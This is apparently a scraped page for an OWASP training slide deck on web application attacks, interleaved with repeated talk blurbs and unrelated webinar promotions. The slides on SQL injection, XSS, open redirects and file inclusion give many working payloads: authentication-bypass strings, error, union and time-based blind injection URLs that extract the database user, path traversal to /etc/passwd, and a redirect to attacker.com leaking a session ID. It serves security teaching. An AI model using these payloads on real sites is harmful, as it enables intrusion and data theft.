The document provides an overview of web application security topics like SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), file inclusion, and tools/techniques for exploiting vulnerabilities. It discusses basic web communication, HTTP methods, response codes, URLs, database communication. It also covers setting up a Kali Linux environment, Firefox plugins, exploiting XSS vulnerabilities, defending against attacks, and includes exercises on vulnerable web apps.
Post XSS Exploitation : Advanced Attacks and RemediesAdwiteeya Agrawal
This is the presentation I used at the National Conference on “Current Scenario & Emerging trends in Information Technology" held at MSIT in march 2013.
Here is the link to the whitepaper : http://www.exploit-db.com/wp-content/themes/exploit/docs/24559.pdf
[CB20]-U25 Automated Hunting for Cross-Server Xrefs in Microsoft RPC and COM ...CODE BLUE
There may be some logic bugs in the COM and RPC servers built in Windows OS.In order to find these bugs automatically, the commonly used algorithm is to search for the call chain between functions and Win32 APIs that perform sensitive operations, but if you only rely on the xrefs of the disassembler to generate the call chain, you cannot handle calls across process boundaries. To solve this problem to a certain extent, we propose "Cross-Server Xrefs" in COM and RPC and introduce an automated algorithm to search for this scenario, the key to this algorithm is to use the Backtrace function of Metasm(the Ruby assembly manipulation suite). We will also introduce other attack surfaces in "Cross-Server Xrefs" and use our methods to find examples. Finally, we release an open source tool to help researchers explore the things described in this presentation.
Palestra ministrada no OWASP Floripa Day - Florianópolis - SC |
A palestra tem como objetivo mostrar os conceitos e funcionamento de algumas funcionalidades que foram adicionadas ao HTML5, levando em consideração os aspectos de segurança do client-side. Para as funcionalidades destacadas, foram criados cenários de ataques visando ilustrar a obtenção de informações sensíves armazenadas no browser ou até mesmo usar o browser da vítima para lançar ataques contra outros sistemas. Através da exploração das funcionalidades existentes no HTML5, técnicas de exploração como XSS e CSRF, tornam-se mais poderosas e eficientes, sendo possível em alguns casos contornar algumas restrições do Same Origin Policiy (SOP).
Post XSS Exploitation : Advanced Attacks and RemediesAdwiteeya Agrawal
This is the presentation I used at the National Conference on “Current Scenario & Emerging trends in Information Technology" held at MSIT in march 2013.
Here is the link to the whitepaper : http://www.exploit-db.com/wp-content/themes/exploit/docs/24559.pdf
[CB20]-U25 Automated Hunting for Cross-Server Xrefs in Microsoft RPC and COM ...CODE BLUE
There may be some logic bugs in the COM and RPC servers built in Windows OS.In order to find these bugs automatically, the commonly used algorithm is to search for the call chain between functions and Win32 APIs that perform sensitive operations, but if you only rely on the xrefs of the disassembler to generate the call chain, you cannot handle calls across process boundaries. To solve this problem to a certain extent, we propose "Cross-Server Xrefs" in COM and RPC and introduce an automated algorithm to search for this scenario, the key to this algorithm is to use the Backtrace function of Metasm(the Ruby assembly manipulation suite). We will also introduce other attack surfaces in "Cross-Server Xrefs" and use our methods to find examples. Finally, we release an open source tool to help researchers explore the things described in this presentation.
Palestra ministrada no OWASP Floripa Day - Florianópolis - SC |
A palestra tem como objetivo mostrar os conceitos e funcionamento de algumas funcionalidades que foram adicionadas ao HTML5, levando em consideração os aspectos de segurança do client-side. Para as funcionalidades destacadas, foram criados cenários de ataques visando ilustrar a obtenção de informações sensíves armazenadas no browser ou até mesmo usar o browser da vítima para lançar ataques contra outros sistemas. Através da exploração das funcionalidades existentes no HTML5, técnicas de exploração como XSS e CSRF, tornam-se mais poderosas e eficientes, sendo possível em alguns casos contornar algumas restrições do Same Origin Policiy (SOP).
My presentation from Framsia.
Topics:
XSS (reflected, stored, dom-based)
CSRF
Clickjacking
Header based approaches (CSP, X-frame-options)
EcmaScript5
HTML5
Some slides borrowed from John Wilander http://www.slideshare.net/johnwilander/application-security-for-rias
REST Service Authetication with TLS & JWTsJon Todd
Many companies are adopting micro-services architectures to promote decoupling and separation of concerns in their applications. One inherent challenge with breaking applications up into small services is that now each service needs to deal with authenticating and authorizing requests made to it. We present a clean way to solve this problem Json Web Tokens (JWT) and TLS using Java.
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)nyccamp
Over 70% of the security issues in Drupal sites are either XSS, CSRF, or SQL Injection. Let's talk about how sites get hacked and how you can write secure Drupal code and maintain security throughout your development process and live maintenance.
About the Presenter:
Ben Jeavons is a member of the Drupal Security team and co-author of the Drupal Security Report. As an engineer at Acquia he works on the Acquia Network including the security and performance analysis tool, Acquia Insight.
Experience Level: Intermediate
A penetration testing report submitted during internship at ICT Academy, IIT Kanpur. This report contains a basic flow how to perform penetration testing, from reconnaissance to finding vulnerability. This should be helpful for security researchers who are looking to write a penetration testing for their project.
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism.
Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.
HTTP Response Splitting or CRLF injection is an attack technique which enables various attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and our favorite, cross-site scripting (XSS). This attack technique, and the derived attacks from it, are relevant to most web environments and is the result of the application’s failure to reject illegal user input, in this case,
input containing malicious or unexpected characters.
The talk will cover the concept of the attack and will take you through some use cases.
● PHP and the OWASP Top Ten Security
Vulnerabilities
● Secure Programming With The Zend
Framework
● Apache HTTPD
Security
● MySQL Security
● PHP Security Tools
My presentation from Framsia.
Topics:
XSS (reflected, stored, dom-based)
CSRF
Clickjacking
Header based approaches (CSP, X-frame-options)
EcmaScript5
HTML5
Some slides borrowed from John Wilander http://www.slideshare.net/johnwilander/application-security-for-rias
REST Service Authetication with TLS & JWTsJon Todd
Many companies are adopting micro-services architectures to promote decoupling and separation of concerns in their applications. One inherent challenge with breaking applications up into small services is that now each service needs to deal with authenticating and authorizing requests made to it. We present a clean way to solve this problem Json Web Tokens (JWT) and TLS using Java.
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)nyccamp
Over 70% of the security issues in Drupal sites are either XSS, CSRF, or SQL Injection. Let's talk about how sites get hacked and how you can write secure Drupal code and maintain security throughout your development process and live maintenance.
About the Presenter:
Ben Jeavons is a member of the Drupal Security team and co-author of the Drupal Security Report. As an engineer at Acquia he works on the Acquia Network including the security and performance analysis tool, Acquia Insight.
Experience Level: Intermediate
A penetration testing report submitted during internship at ICT Academy, IIT Kanpur. This report contains a basic flow how to perform penetration testing, from reconnaissance to finding vulnerability. This should be helpful for security researchers who are looking to write a penetration testing for their project.
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism.
Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.
HTTP Response Splitting or CRLF injection is an attack technique which enables various attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and our favorite, cross-site scripting (XSS). This attack technique, and the derived attacks from it, are relevant to most web environments and is the result of the application’s failure to reject illegal user input, in this case,
input containing malicious or unexpected characters.
The talk will cover the concept of the attack and will take you through some use cases.
● PHP and the OWASP Top Ten Security
Vulnerabilities
● Secure Programming With The Zend
Framework
● Apache HTTPD
Security
● MySQL Security
● PHP Security Tools
Caution: This is a dated presentation; uploaded for reference. While the principles remain valid, specifics may have changed.
This presentation was made for software developers in Chandigarh - as a part of the NULL & OWASP Chandigarh Chapter activities.
It covers the basics of secure software development and secure coding using OWASP Top 10 as a broad guide.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems. I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest (=attack) painful, or just rendered the scenarios irrelevant.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems.
I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest
(=attack) painful, or just rendered the scenarios irrelevant.
[CB16] Esoteric Web Application Vulnerabilities by Andrés RianchoCODE BLUE
This talk will show esoteric web application vulnerabilities in detail, these vulnerabilities would be missed in a quick review by most security consultants, but could lead to remote code execution, authentication bypass and purchasing items in merchants using Paypal as their payment gateway without actually paying. SQL injections are dead, and I don’t care: let's explore the world of null, nil and NULL; noSQL injections; host header injections that lead to phone call audio interception; paypal’s double spent and Rails’ MessageVerifier remote code execution.
--- Andres Riancho
Andrés Riancho is an application security expert that currently leads the community driven, Open Source, w3af project and provides in-depth Web Application Penetration Testing services to companies around the world.
In the research field, he discovered critical vulnerabilities in IPS appliances from 3com and ISS, contributed with SAP research performed at one of his former employers and reported vulnerabilities in hundreds of web applications.
His main focus has always been the Web Application Security field, in which he developed w3af, a Web Application Attack and Audit Framework used extensively by penetration testers and security consultants.
Andrés has spoken and hold trainings at many security conferences around the globe, like BlackHat (USA and Europe), SEC-T (Sweden),DeepSec (Austria), PHDays (Moscow), SecTor (Toronto), OWASP (Poland),CONFidence (Poland), OWASP World C0n (USA), CanSecWest (Canada),PacSecWest (Japan), T2 (Finland) and Ekoparty (Buenos Aires).
Andrés founded Bonsai Information Security, a web security focused consultancy firm, in 2009 in order to further research into automated Web Application Vulnerability detection and exploitation.
This is a multi-faceted workshop that explores new concepts in web security. After a solid grounding in well-known exploits like cross-site scripting (XSS) and cross-site request forgeries (CSRF), I'll demonstrate how traditional exploits are being used together and with other technologies like Ajax to launch sophisticated attacks that penetrate firewalls, target users, and spread like worms. I'll then discuss some ideas for the future, such as evaluating trends to identify suspicious activity and understanding human tendencies and behavior to help provide a better, more secure user experience.
Mugdha and Amish from OSSCube present on Php security at OSSCamp, organized by OSSCube - A Global open Source enterprise for Open Source Solutions
To know how we can help your business grow, leveraging Open Source, contact us:
India: +91 995 809 0987
USA: +1 919 791 5427
WEB: www.osscube.com
Mail: sales@osscube.com
Application and Website Security -- Fundamental EditionDaniel Owens
This is the first presentation in the 200 level, specifically targeting developers with a more hardcore training program. This program includes numerous case studies and live demonstrations and is considered technical, but does not require a working knowledge of the languages discussed.
Similar to OWASP San Diego Training Presentation (20)
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...James Anderson
Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).
Speakers:
Bob Boule
Robert Boule is a technology enthusiast with PASSION for technology and making things work along with a knack for helping others understand how things work. He comes with around 20 years of solution engineering experience in application security, software continuous delivery, and SaaS platforms. He is known for his dynamic presentations in CI/CD and application security integrated in software delivery lifecycle.
Gopinath Rebala
Gopinath Rebala is the CTO of OpsMx, where he has overall responsibility for the machine learning and data processing architectures for Secure Software Delivery. Gopi also has a strong connection with our customers, leading design and architecture for strategic implementations. Gopi is a frequent speaker and well-known leader in continuous delivery and integrating security into software delivery.
Securing your Kubernetes cluster_ a step-by-step guide to success !KatiaHIMEUR1
Today, after several years of existence, an extremely active community and an ultra-dynamic ecosystem, Kubernetes has established itself as the de facto standard in container orchestration. Thanks to a wide range of managed services, it has never been so easy to set up a ready-to-use Kubernetes cluster.
However, this ease of use means that the subject of security in Kubernetes is often left for later, or even neglected. This exposes companies to significant risks.
In this talk, I'll show you step-by-step how to secure your Kubernetes cluster for greater peace of mind and reliability.
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Albert Hoitingh
In this session I delve into the encryption technology used in Microsoft 365 and Microsoft Purview. Including the concepts of Customer Key and Double Key Encryption.
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualityInflectra
In this insightful webinar, Inflectra explores how artificial intelligence (AI) is transforming software development and testing. Discover how AI-powered tools are revolutionizing every stage of the software development lifecycle (SDLC), from design and prototyping to testing, deployment, and monitoring.
Learn about:
• The Future of Testing: How AI is shifting testing towards verification, analysis, and higher-level skills, while reducing repetitive tasks.
• Test Automation: How AI-powered test case generation, optimization, and self-healing tests are making testing more efficient and effective.
• Visual Testing: Explore the emerging capabilities of AI in visual testing and how it's set to revolutionize UI verification.
• Inflectra's AI Solutions: See demonstrations of Inflectra's cutting-edge AI tools like the ChatGPT plugin and Azure Open AI platform, designed to streamline your testing process.
Whether you're a developer, tester, or QA professional, this webinar will give you valuable insights into how AI is shaping the future of software delivery.
Elevating Tactical DDD Patterns Through Object CalisthenicsDorra BARTAGUIZ
After immersing yourself in the blue book and its red counterpart, attending DDD-focused conferences, and applying tactical patterns, you're left with a crucial question: How do I ensure my design is effective? Tactical patterns within Domain-Driven Design (DDD) serve as guiding principles for creating clear and manageable domain models. However, achieving success with these patterns requires additional guidance. Interestingly, we've observed that a set of constraints initially designed for training purposes remarkably aligns with effective pattern implementation, offering a more ‘mechanical’ approach. Let's explore together how Object Calisthenics can elevate the design of your tactical DDD patterns, offering concrete help for those venturing into DDD for the first time!
Key Trends Shaping the Future of Infrastructure.pdfCheryl Hung
Keynote at DIGIT West Expo, Glasgow on 29 May 2024.
Cheryl Hung, ochery.com
Sr Director, Infrastructure Ecosystem, Arm.
The key trends across hardware, cloud and open-source; exploring how these areas are likely to mature and develop over the short and long-term, and then considering how organisations can position themselves to adapt and thrive.
Accelerate your Kubernetes clusters with Varnish CachingThijs Feryn
A presentation about the usage and availability of Varnish on Kubernetes. This talk explores the capabilities of Varnish caching and shows how to use the Varnish Helm chart to deploy it to Kubernetes.
This presentation was delivered at K8SUG Singapore. See https://feryn.eu/presentations/accelerate-your-kubernetes-clusters-with-varnish-caching-k8sug-singapore-28-2024 for more details.
JMeter webinar - integration with InfluxDB and GrafanaRTTS
Watch this recorded webinar about real-time monitoring of application performance. See how to integrate Apache JMeter, the open-source leader in performance testing, with InfluxDB, the open-source time-series database, and Grafana, the open-source analytics and visualization application.
In this webinar, we will review the benefits of leveraging InfluxDB and Grafana when executing load tests and demonstrate how these tools are used to visualize performance metrics.
Length: 30 minutes
Session Overview
-------------------------------------------
During this webinar, we will cover the following topics while demonstrating the integrations of JMeter, InfluxDB and Grafana:
- What out-of-the-box solutions are available for real-time monitoring JMeter tests?
- What are the benefits of integrating InfluxDB and Grafana into the load testing stack?
- Which features are provided by Grafana?
- Demonstration of InfluxDB and Grafana using a practice web application
To view the webinar recording, go to:
https://www.rttsweb.com/jmeter-integration-webinar
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
As AI technology is pushing into IT I was wondering myself, as an “infrastructure container kubernetes guy”, how get this fancy AI technology get managed from an infrastructure operational view? Is it possible to apply our lovely cloud native principals as well? What benefit’s both technologies could bring to each other?
Let me take this questions and provide you a short journey through existing deployment models and use cases for AI software. On practical examples, we discuss what cloud/on-premise strategy we may need for applying it to our own infrastructure to get it to work from an enterprise perspective. I want to give an overview about infrastructure requirements and technologies, what could be beneficial or limiting your AI use cases in an enterprise environment. An interactive Demo will give you some insides, what approaches I got already working for real.
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf91mobiles
91mobiles recently conducted a Smart TV Buyer Insights Survey in which we asked over 3,000 respondents about the TV they own, aspects they look at on a new TV, and their TV buying preferences.
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...UiPathCommunity
💥 Speed, accuracy, and scaling – discover the superpowers of GenAI in action with UiPath Document Understanding and Communications Mining™:
See how to accelerate model training and optimize model performance with active learning
Learn about the latest enhancements to out-of-the-box document processing – with little to no training required
Get an exclusive demo of the new family of UiPath LLMs – GenAI models specialized for processing different types of documents and messages
This is a hands-on session specifically designed for automation developers and AI enthusiasts seeking to enhance their knowledge in leveraging the latest intelligent document processing capabilities offered by UiPath.
Speakers:
👨🏫 Andras Palfi, Senior Product Manager, UiPath
👩🏫 Lenka Dulovicova, Product Program Manager, UiPath
DevOps and Testing slides at DASA ConnectKari Kakkonen
My and Rik Marselis slides at 30.5.2024 DASA Connect conference. We discuss about what is testing, then what is agile testing and finally what is Testing in DevOps. Finally we had lovely workshop with the participants trying to find out different ways to think about quality and testing in different parts of the DevOps infinity loop.
UiPath Test Automation using UiPath Test Suite series, part 4DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 4. In this session, we will cover Test Manager overview along with SAP heatmap.
The UiPath Test Manager overview with SAP heatmap webinar offers a concise yet comprehensive exploration of the role of a Test Manager within SAP environments, coupled with the utilization of heatmaps for effective testing strategies.
Participants will gain insights into the responsibilities, challenges, and best practices associated with test management in SAP projects. Additionally, the webinar delves into the significance of heatmaps as a visual aid for identifying testing priorities, areas of risk, and resource allocation within SAP landscapes. Through this session, attendees can expect to enhance their understanding of test management principles while learning practical approaches to optimize testing processes in SAP environments using heatmap visualization techniques
What will you get from this session?
1. Insights into SAP testing best practices
2. Heatmap utilization for testing
3. Optimization of testing processes
4. Demo
Topics covered:
Execution from the test manager
Orchestrator execution result
Defect reporting
SAP heatmap example with demo
Speaker:
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
3. Setup
Web Communication
SQL Basics
HTTP/HTTPS Overview
Tools
Other related technologies
XSS
CSRF
URL Redirect
Local File Inclusion (LFI)
Remote File Inclusion (RFI)
Direct Object Access
SQL Injection
Command Injection
Javascript Server Side Injection
Topics
7. Client → Server
Client sends a request
Server sends back a response
E.g. Web Browser → Web Server (Port 80)
◦ Web Server → Postgres Database to fetch data
⚫Returns data to Web Server to process and render to Web
Browser
Basic Web Communication
8. Web Request
Basic Web Communication
GET / HTTP/1.1
Host: api.bonfire-project.eu:444
Accept: */*
Authorization: Basic XXX
Accept-Encoding: gzip, deflate
9. Web Response
Basic Web Communication
HTTP/1.1 200 OK
Vary: Authorization,Accept
Transfer-Encoding: chunked
Etag: "fa2ba873343ba638123b7671c8c09998"
Content-Type: application/vnd.bonfire+xml; charset=utf-8
Date: Wed, 01 Jun 2011 14:59:30 GMT
Server: thin 1.2.11 codename Bat-Shit Crazy
Allow: GET,OPTIONS,HEAD
Cache-Control: public,max-age=120
Connection: close
<?xml version="1.0" encoding="UTF-8"?> <root xmlns="http://api.bonfire-
project.eu/doc/schemas/occi" href="/"> <version>0.8.9</version>
<timestamp>1306940370</timestamp> <link rel="experiments"
href="/experiments" type="application/vnd.bonfire+xml"/> <link rel="locations"
href="/locations" type="application/vnd.bonfire+xml"/> <link rel="users" href="/users"
type="application/vnd.bonfire+xml"/> </root>
14. Database communication
Web Server communicates to DB to fetch data
SQL or a SQL abstraction layer is used
SQL = Structured Query Language
Basic Web Communication
17. SELECT column_name FROM table_name
WHERE column_name=“value” ORDER BY
column_name DESC
SELECT “random string”
SELECT “random string” FROM DUAL
SeLeCt Price where ISBN_NO = ‘0201703092’;
SELECT Statement
33. XML HTTP Request (XHR)
◦ XML HTTP header
Javascript Serialized Object Notation (JSON)
◦ Way of representing data
◦ { “Firstname”: “Jake”, “lastname”: “Jones” }
SOAP
◦ Look for asmx files or asmx?WSDL
◦ Could be server to server or client to server
REST
◦ Parameters specified in url
◦ If you don’t have documentation you can try and guess the
REST parameters
Other HTTP Related Technologies
36. Can be in user agent
Could be in cookie
Use to be able to control a lot of HTTP headers in
flash
Reflected XSS
37. Html and or Javascript is stored on the server and
can be later accessed by a user
Stored XSS
38. User input is gathered by javascript and reflected
back to the page
Try exploits with IE (or safari mobile…)
Dom Based XSS
39. Put canary value in
http://victim.com/id=yoyoyo
Use web developer toolbar to view generated
source
Check to see where the canary is in the source
Check to see if html encoding is being used or
what characters are available
◦ http://victim.com/id=yoyoyo<
Sploit if possible
Finding XSS
41. Host XSS javascript files or resources on Apache
Server
Or start python server
◦ python –m SimpleHTTPServer
SimpleHTTPServer can be easily wrapped using
ssl library in python
Exploiting XSS Vulns
43. HTMLEncode All Output
Be Careful where user output is placed in HTML
◦ <html>HTML encoding won’t save you here<script
src=http://[user_controled_input]></script></html>
Do NOT write user input into javascript section of
page
XSS Defense
45. Request on behalf of attacker
https://victim.com/change_password.asp?userna
me=admin&password=mypassword123
If tokens are not random they can be guessed or
bruteforced
CSRF can be in GET or POST
Cross Site Request Forgery (CSRF)
48. If you can’t use http try https
If you can’t use http or https try
//google.com
URL Redirect
49. Redirecting to other pages within the site can still
be considered a vulnerability
For example, when combining the attack with
other attacks like XSS, CSRF, out of band SQL
injection, or command injection
https://victim.com/login.aspx?page=user.aspx?par
am=<script>alert(1)</script>
URL Redirect
50. URL Redirect can be used to steal session
information in the URL by analyzing the refer
header
https://victim.com/login?page=http://attacker.com
https://victim.com/login?page=http://attacker.com&
jsessionId=AB21CF40A3BD698
URL Redirect
51. Store location of redirect(s) on the server
Create whitelist of possible URLs to redirect to
URL Redirect
54. Typically Java and .NET LFI vulns will not allow
access outside of web root folder
Instead of trying ../../../../../../../../../../../etc/passwd
first try ../index.jsp or ../../scripta.js
Local File Inclusion
55. Harden php.ini file and other configuration files
Make sure web directories are not writable
Don’t trust user input for file operations
LFI Defense
57. Whether to allow the treatment of URLs (like http://
or ftp://) as files.
http://victim.com/allow-url-fopen
allow_url_fopen = On
Whether to allow include/require to open URLs (like
http:// or ftp://) as files.
http://victim.com/allow-url-include
allow_url_include = On
Remote File Inclusion
58. Go straight to file
Directory listing helps a lot
Can use burp intruder
Check robots.txt
Dirbuster
Burp engagement
Direct Object Access
59. SQL is standard query language implemented by
several organizations
MySQL
MSSQL
Oracle
Postgres
DB2
SQL Injection
62. Places to try when trying to trigger a SQL injection:
◦ GET parameters
◦ POST parameters
◦ HEAD parameters (Blind injection only)
◦ Cookie
◦ Refer header
◦ Agent ID
◦ SOAP parameters
◦ JSON parameters
Try using Burp to defeat client side (javascript) SQL
injection protections
Triggering SQL Injection
63. admin‘ or 1=1 –-
admin‘ or ‘1’=‘1
admin‘/**/or/**/2/**/LiKe/**/2--/**/
SELECT username, password from users WHERE
username = ‘admin’ and password = ‘admin’;
SELECT username, password from users
WHERE username = ‘admin‘ or 1=1 –- ’ and password =
‘admin’
SQL Injection Authentication
Bypass
67. Errors must be turned on in configuration of
database or exceptions in code are not handled
properly and are printed back to the user
Goal is to make database throw an error message
and print back the error message with valuable
data in it
ERROR Based SQL Injection
69. (MSSQL) Get column name
http://victim.com/showmovies.aspx?name=rad'
having '1'='1
WEBUSERS.UserID
Get next column name
http://victim.com/showmovies.aspx?name=rad'
group by UserID having '1'='1
WEBUSERS.Username
ERROR Based SQL Injection
70. Error Based SQLi MySQL
http://victim.com/showmovies.php?name=rad' and
ExtractValue(1,CONCAT(0x5c, (SELECT
@@version))) --%20
‘ XPATH syntax error: ‘5.1.41-3ubuntu12.6-log’
ERROR Based SQL Injection
71. For Oracle Error Based SQL Injection use
utl_inaddr.get_host_name() function
http://victim.com/showmovies.jsp?name=rad' and
(utl_inaddr.get_host_name((select+sys.database_name+
from+dual)))=1 --
ORA-29257: host MOVIE_DATABASE unknown
ORA-06512: at 'SYS.UTL_INADDR' line 4
ORA-06512: at 'SYS.UTL_INADDR' line 35
ORA-06512: at line 1
ERROR Based SQL Injection
72. Sometimes the utl_inaddr.get_host_name()
function can produce the following error:
◦ ORA-24247: network access denied by access
control list (ACL)
The following technique will work regardless of
network restrictions/permissions
(select%201%20from%20dual%20where%201=1
%20and%201=length(extractvalue(xmltype('<x/>'
),'/$'||(select%20user%20from%20dual))))
ERROR Based SQL Injection
75. Find columns
◦ ‘ order by 2 --
Find columns that return data
◦ ‘ union select 1,2 --
Extract data using column
◦ ‘ union select 1,@@version --
Union Based SQL Injection
77. When entering a sqli trigger you get a generic error or
redirect (HTTP 200, 302, 500)
To confirm the sql injection try using a time based
delay
◦ waitfor delay '0:0:20' -- (MS SQL)
◦ benchmark(100000000, rand()),1) -- (MySQL)
◦ select sleep(20) -- (MySQL (version 5.0.12 and later))
◦ pg_sleep(20) -- (Postgres)
◦ 'a'||Utl_Http.request('http://madeupserver.com') -- (Oracle)
◦ dbms_lock.sleep(20) -- (Oracle (Only DBA, requires plsql
injection and doesn’t work in where clause))
Blind SQL Injection
79. Other methods for confirming Blind SQL Injection
Try using addition or subtraction
◦ http://victim.com/showmovies.aspx?id=2
◦ http://victim.com/showmovies.aspx?id=3-1
◦ http://victim.com/showmovies.aspx?id=1%2b1
Try using a comment
◦ http://victim.com/showmovies.aspx?name=rad' --
◦ http://victim.com/showmovies.aspx?id=1 /**/
Try a percent sign or a statement that evaluates to true and/or false
◦ http://victim.com/showmovies.aspx?name=%
◦ http://victim.com/showmovies.aspx?name=rad' or 1=1 --
◦ http://victim.com/showmovies.aspx?name=rad' and 1=2 --
Try string concatenation
◦ (MSSQL) http://victim.com/showmovies.aspx?name=ra'%2b‘d
◦ (Oracle) http://victim.com/showmovies.jsp?name=ra'||'d
◦ (MySQL) http://victim.com/showmovies.php?name=ra' 'd
Blind SQL Injection
80. Extracting Data (TRUE or FALSE)
http://victim.com/showmovies.aspx?name=rad' ;if
is_srvrolemember('sysadmin')=1 waitfor delay
'0:0:20'--
http://victim.com/showmovies.aspx?name=rad';if
@@version like '%252005%25' waitfor delay '0:0:20'
--
Blind SQL Injection
81. LIKE technique
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25a%25'
waitfor delay '0:0:12'--
(TRUE) (contains 'a')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25e%25'
waitfor delay '0:0:12'--
(TRUE) (contains 'e')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25o%25'
waitfor delay '0:0:12'--
(TRUE) (contains 'o')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25p%25'
waitfor delay '0:0:12'--
(TRUE) (contains 'p')
Blind SQL Injection
82. LIKE technique Continued
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25r%25' waitfor delay '0:0:12'--
(TRUE) (contains 'r')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25s%25' waitfor delay '0:0:12'--
(TRUE) (contains 's')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25u%25' waitfor delay '0:0:12'--
(TRUE) ( contains 'u' )
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25w%25' waitfor delay '0:0:12'--
(TRUE) ( contains 'w' )
http://victim.com/search.aspx?id=1';if SYSTEM_USER like '%25_%25' waitfor delay '0:0:12'--
(TRUE) ( contains '_' )
(aeoprsuw_)
Blind SQL Injection
83. LIKE Technique Continued
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'o%25' waitfor
delay '0:0:12'--
(TRUE) ( starts with 'o')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'ow%25' waitfor
delay '0:0:12'--
(TRUE) ( starts with 'ow')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owa%25'
waitfor delay '0:0:12'--
(TRUE) ( starts with 'owa')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owas%25
waitfor delay '0:0:12'--
(TRUE) ( starts with 'owasp')
Blind SQL Injection
84. LIKE Technique Continued
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owasp%25' waitfor delay '0:0:12'--
(TRUE) ( starts with 'owasp')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owasp_%25' waitfor delay '0:0:12'--
(TRUE) (starts with 'owasp_')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owasp_u%25' waitfor delay '0:0:12'--
(TRUE) (user is 'owasp_u')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owasp_us%25' waitfor delay '0:0:12'--
(TRUE) (user is 'owasp_us')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owasp_use%25' waitfor delay '0:0:12'--
(TRUE) (user is 'owasp_use')
http://victim.com/search.aspx?id=1';if SYSTEM_USER like 'owasp_user' waitfor delay '0:0:12'--
(TRUE) (user is 'owasp_user')
Blind SQL Injection
86. Binary Search Technique Continued
http://victim.com/search.aspx?id=1';if ASCII(SUBSTRING(SYSTEM_USER,1,1)) <119 waitfor
delay'0:0:20'--
TRUE
http://victim.com/search.aspx?id=1';if ASCII(SUBSTRING(SYSTEM_USER,1,1)) <114 waitfor
delay'0:0:20'--
TRUE
